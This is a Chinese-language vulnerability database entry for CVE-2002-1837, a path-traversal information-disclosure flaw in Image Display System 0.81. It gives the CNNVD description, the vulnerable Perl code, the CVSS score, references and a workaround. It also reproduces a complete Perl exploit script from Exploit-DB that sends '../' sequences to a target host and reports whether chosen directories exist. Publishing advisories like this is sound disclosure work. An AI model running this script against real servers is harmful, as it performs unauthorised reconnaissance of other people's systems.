CVE-2002-1837
CVSS5.0
发布时间 :2002-12-31 00:00:00
修订时间 :2008-09-05 16:31:38
NMCOE    

[原文]The getAlbumToDisplay function in idsShared.pm for Image Display System (IDS) 0.81 allows remote attackers to determine the existence of arbitrary directories via ".." sequences in the album parameter, which generates different error messages depending on whether the directory exists or not.


[CNNVD]Image Display System可判断目录是否存在漏洞(CNNVD-200212-786)

        
        IDS(Image Display System)是一款基于Web的图象册应用程序,由Perl编写,Ashley M. Kirchner维护。
        IDS对用户提交的请求缺少正确的处理,可导致远程攻击者获得主机相关的路径信息。
        攻击者可以提交包含'../'字符的目录和图象册名称的请求,就可以导致IDS返回包含目录是否存在的错误信息,攻击者可以通过此信息进一步对系统进行攻击。
        问题存在于如下处理代码中:
        idsShared.pm::getAlbumToDisplay()
        =================================
         if ($albumtodisplay ne '/' && !-e $ppath . "albums/$albumtodisplay") { # does this album exist?
         bail ("Sorry, the album \"$albumtodisplay\" doesn't exist: $!");
         }
        
         if ($albumtodisplay =~ /\.\./) { # hax0r protection...
         bail ("Sorry, invalid directory name: $!");
         }
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1837
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1837
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200212-786
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/4870
(UNKNOWN)  BID  4870
http://www.iss.net/security_center/static/9201.php
(UNKNOWN)  XF  ids-dir-existence(9201)
http://ids.sourceforge.net/ChangeLog.html
(UNKNOWN)  CONFIRM  http://ids.sourceforge.net/ChangeLog.html

- 漏洞信息

Image Display System可判断目录是否存在漏洞
中危 配置错误
2002-12-31 00:00:00 2005-10-20 00:00:00
远程  
        
        IDS(Image Display System)是一款基于Web的图象册应用程序,由Perl编写,Ashley M. Kirchner维护。
        IDS对用户提交的请求缺少正确的处理,可导致远程攻击者获得主机相关的路径信息。
        攻击者可以提交包含'../'字符的目录和图象册名称的请求,就可以导致IDS返回包含目录是否存在的错误信息,攻击者可以通过此信息进一步对系统进行攻击。
        问题存在于如下处理代码中:
        idsShared.pm::getAlbumToDisplay()
        =================================
         if ($albumtodisplay ne '/' && !-e $ppath . "albums/$albumtodisplay") { # does this album exist?
         bail ("Sorry, the album \"$albumtodisplay\" doesn't exist: $!");
         }
        
         if ($albumtodisplay =~ /\.\./) { # hax0r protection...
         bail ("Sorry, invalid directory name: $!");
         }
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 对Image Display System进行访问控制,只允许可信用户访问。
        厂商补丁:
        IDS
        ---
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://ids.sourceforge.net/

- 漏洞信息 (21487)

Image Display System 0.8.1 Directory Existence Disclosure Vulnerability (EDBID:21487)
cgi webapps
2002-05-28 Verified
0 isox
N/A [点击下载]
source: http://www.securityfocus.com/bid/4870/info

IDS (Image Display System) is an web based photo album application written in Perl. IDS is freely available and is maintained by Ashley M. Kirchner.

Users can confirm the existence and location of various directories residing on the IDS host. This is accomplished when a request for a directory and album name is sent to the host containing numerous '../' character sequences. The error page returned will indicate to the attacker whether the specified path is a valid directory or not. 

#!/usr/bin/perl -w
#
# ids-inform.pl (05/27/2002)
#
# Image Display System 0.8x Information Disclosure Exploit.
# Checks for existance of specified directory.
#
# By: isox [isox@chainsawbeer.com]
#
#
# usage: self explanitory
#
# my spelling: bad
#
# Hi Cody, You should be proud, I coded for you!
# Hi YpCat, Your perl is k-rad and pheersom.
#
#######
# URL #
#######
# http://0xc0ffee.com
# http://hhp-programming.net
#
#
#################
# Advertisement #
#################
#
# Going to Defcon X this year?  Well come to the one and only Dennys at Defcon breakfast.
# This is quickly becoming a yearly tradition put on by isox.  Check 0xc0ffee.com for
# more information.
#

$maxdepth = 30;

&Banner;

if ($#ARGV < 3) {
  die("Usage $0 <directory> <http://host/path/to/index.cgi> <host> <port>\n");
}

for($t=0; $t<$maxdepth; $t++) {
  $dotdot = "$dotdot" . "/..";
}

$query = "GET $ARGV[1]" . "?mode=album&album=$dotdot/$ARGV[0]\n\n";
$blahblah = &Directory($query, $ARGV[2], $ARGV[3]);

if($blahblah =~ /Sorry, invalid directory name/) {
  print("$ARGV[0] Exists.\n");
} else {
  print("$ARGV[0] Does Not Exist.\n");
}

exit 0;




sub Banner {
  print("IDS Information Disclosure Exploit\n");
  print("Written by isox [isox\@chainsawbeer.com]\n\n");
}


sub Directory {
  use IO::Socket::INET;

  my($query, $host, $port) = @_;

  $sock = new IO::Socket::INET (
            PeerAddr => $host,
            PeerPort => $port,
            Timeout => 8,
            Proto => 'tcp'
          );

  if(!$sock) {
    die("sock: timed out\n");
  }


  print $sock $query;
  read($sock, $buf, 8192);
  close($sock);

  return $buf;
}

<-- EOF -->		

- 漏洞信息

59788
Image Display System (IDS) idsShared.pm album Parameter Traversal Error Message Directory Enumeration
Remote / Network Access Information Disclosure
Loss of Confidentiality
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

2002-05-28 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站